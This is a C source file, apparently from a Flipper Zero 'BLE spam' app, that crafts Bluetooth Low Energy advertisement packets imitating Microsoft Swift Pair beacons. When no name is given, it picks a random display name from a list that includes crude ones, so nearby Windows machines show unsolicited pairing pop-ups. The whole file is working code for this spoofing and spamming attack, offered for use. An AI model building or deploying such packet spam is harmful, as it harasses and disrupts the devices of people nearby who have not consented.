swiftpair.c 1.7 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354
  1. #include "swiftpair.h"
  2. #include "_registry.h"
  3. // Hacked together by @Willy-JL and @Spooks4576
  4. // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
  5. const char* swiftpair_get_name(const BleSpamMsg* _msg) {
  6. const SwiftpairMsg* msg = &_msg->swiftpair;
  7. UNUSED(msg);
  8. return "SwiftPair";
  9. }
  10. void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
  11. const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
  12. const char* display_name;
  13. if(msg && msg->display_name[0] != '\0') {
  14. display_name = msg->display_name;
  15. } else {
  16. const char* names[] = {
  17. "Assquach💦",
  18. "Flipper 🐬",
  19. "iOS 17 🍎",
  20. "Kink💦",
  21. "👉👌",
  22. "🔵🦷",
  23. };
  24. display_name = names[rand() % COUNT_OF(names)];
  25. }
  26. uint8_t display_name_len = strlen(display_name);
  27. uint8_t size = 7 + display_name_len;
  28. uint8_t* packet = malloc(size);
  29. uint8_t i = 0;
  30. packet[i++] = size - 1; // Size
  31. packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
  32. packet[i++] = 0x06; // Company ID (Microsoft)
  33. packet[i++] = 0x00; // ...
  34. packet[i++] = 0x03; // Microsoft Beacon ID
  35. packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
  36. packet[i++] = 0x80; // Reserved RSSI Byte
  37. memcpy(&packet[i], display_name, display_name_len); // Display Name
  38. i += display_name_len;
  39. *out_size = size;
  40. *out_packet = packet;
  41. }
  42. const BleSpamProtocol ble_spam_protocol_swiftpair = {
  43. .icon = &I_windows,
  44. .get_name = swiftpair_get_name,
  45. .make_packet = swiftpair_make_packet,
  46. };